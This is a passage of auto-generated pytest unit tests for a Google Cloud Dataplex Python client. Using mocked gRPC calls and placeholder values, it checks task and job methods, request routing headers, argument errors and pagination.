operations_pb2.Operation(name="operations/op")
)
await client.create_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_create_task_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_task(
parent="parent_value",
task=tasks.Task(name="name_value"),
task_id="task_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].task
mock_val = tasks.Task(name="name_value")
assert arg == mock_val
arg = args[0].task_id
mock_val = "task_id_value"
assert arg == mock_val
def test_create_task_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_task(
service.CreateTaskRequest(),
parent="parent_value",
task=tasks.Task(name="name_value"),
task_id="task_id_value",
)
@pytest.mark.asyncio
async def test_create_task_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_task(
parent="parent_value",
task=tasks.Task(name="name_value"),
task_id="task_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].task
mock_val = tasks.Task(name="name_value")
assert arg == mock_val
arg = args[0].task_id
mock_val = "task_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_task_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_task(
service.CreateTaskRequest(),
parent="parent_value",
task=tasks.Task(name="name_value"),
task_id="task_id_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.UpdateTaskRequest,
dict,
],
)
def test_update_task(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_task_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_task), "__call__") as call:
client.update_task()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateTaskRequest()
@pytest.mark.asyncio
async def test_update_task_async(
transport: str = "grpc_asyncio", request_type=service.UpdateTaskRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_task_async_from_dict():
await test_update_task_async(request_type=dict)
def test_update_task_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateTaskRequest()
request.task.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_task), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"task.name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_task_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateTaskRequest()
request.task.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_task), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"task.name=name_value",
) in kw["metadata"]
def test_update_task_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_task(
task=tasks.Task(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].task
mock_val = tasks.Task(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_task_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_task(
service.UpdateTaskRequest(),
task=tasks.Task(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_task_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_task(
task=tasks.Task(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].task
mock_val = tasks.Task(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_task_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_task(
service.UpdateTaskRequest(),
task=tasks.Task(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type",
[
service.DeleteTaskRequest,
dict,
],
)
def test_delete_task(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_task_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_task), "__call__") as call:
client.delete_task()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteTaskRequest()
@pytest.mark.asyncio
async def test_delete_task_async(
transport: str = "grpc_asyncio", request_type=service.DeleteTaskRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_task_async_from_dict():
await test_delete_task_async(request_type=dict)
def test_delete_task_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteTaskRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_task), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_task_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteTaskRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_task), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_delete_task_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_task(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_task_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_task(
service.DeleteTaskRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_delete_task_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_task(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_task_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_task(
service.DeleteTaskRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListTasksRequest,
dict,
],
)
def test_list_tasks(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListTasksResponse(
next_page_token="next_page_token_value",
unreachable_locations=["unreachable_locations_value"],
)
response = client.list_tasks(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListTasksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListTasksPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable_locations == ["unreachable_locations_value"]
def test_list_tasks_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
client.list_tasks()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListTasksRequest()
@pytest.mark.asyncio
async def test_list_tasks_async(
transport: str = "grpc_asyncio", request_type=service.ListTasksRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListTasksResponse(
next_page_token="next_page_token_value",
unreachable_locations=["unreachable_locations_value"],
)
)
response = await client.list_tasks(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListTasksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListTasksAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable_locations == ["unreachable_locations_value"]
@pytest.mark.asyncio
async def test_list_tasks_async_from_dict():
await test_list_tasks_async(request_type=dict)
def test_list_tasks_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListTasksRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
call.return_value = service.ListTasksResponse()
client.list_tasks(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_tasks_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListTasksRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListTasksResponse()
)
await client.list_tasks(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_tasks_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListTasksResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_tasks(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_tasks_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_tasks(
service.ListTasksRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_tasks_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListTasksResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListTasksResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_tasks(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_tasks_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_tasks(
service.ListTasksRequest(),
parent="parent_value",
)
def test_list_tasks_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
tasks.Task(),
],
next_page_token="abc",
),
service.ListTasksResponse(
tasks=[],
next_page_token="def",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
],
next_page_token="ghi",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_tasks(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, tasks.Task) for i in results)
def test_list_tasks_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_tasks), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
tasks.Task(),
],
next_page_token="abc",
),
service.ListTasksResponse(
tasks=[],
next_page_token="def",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
],
next_page_token="ghi",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
],
),
RuntimeError,
)
pages = list(client.list_tasks(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_tasks_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_tasks), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
tasks.Task(),
],
next_page_token="abc",
),
service.ListTasksResponse(
tasks=[],
next_page_token="def",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
],
next_page_token="ghi",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
],
),
RuntimeError,
)
async_pager = await client.list_tasks(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, tasks.Task) for i in responses)
@pytest.mark.asyncio
async def test_list_tasks_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_tasks), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
tasks.Task(),
],
next_page_token="abc",
),
service.ListTasksResponse(
tasks=[],
next_page_token="def",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
],
next_page_token="ghi",
),
service.ListTasksResponse(
tasks=[
tasks.Task(),
tasks.Task(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_tasks(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.GetTaskRequest,
dict,
],
)
def test_get_task(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = tasks.Task(
name="name_value",
uid="uid_value",
description="description_value",
display_name="display_name_value",
state=resources.State.ACTIVE,
spark=tasks.Task.SparkTaskConfig(
main_jar_file_uri="main_jar_file_uri_value"
),
)
response = client.get_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, tasks.Task)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.display_name == "display_name_value"
assert response.state == resources.State.ACTIVE
def test_get_task_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_task), "__call__") as call:
client.get_task()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetTaskRequest()
@pytest.mark.asyncio
async def test_get_task_async(
transport: str = "grpc_asyncio", request_type=service.GetTaskRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
tasks.Task(
name="name_value",
uid="uid_value",
description="description_value",
display_name="display_name_value",
state=resources.State.ACTIVE,
)
)
response = await client.get_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, tasks.Task)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.display_name == "display_name_value"
assert response.state == resources.State.ACTIVE
@pytest.mark.asyncio
async def test_get_task_async_from_dict():
await test_get_task_async(request_type=dict)
def test_get_task_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetTaskRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_task), "__call__") as call:
call.return_value = tasks.Task()
client.get_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_task_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetTaskRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_task), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(tasks.Task())
await client.get_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_get_task_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = tasks.Task()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_task(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_task_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_task(
service.GetTaskRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_task_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = tasks.Task()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(tasks.Task())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_task(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_task_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_task(
service.GetTaskRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListJobsRequest,
dict,
],
)
def test_list_jobs(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListJobsResponse(
next_page_token="next_page_token_value",
)
response = client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListJobsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListJobsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_jobs_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
client.list_jobs()
call.assert_called()
_, args, _ = call.mock_calls[0]
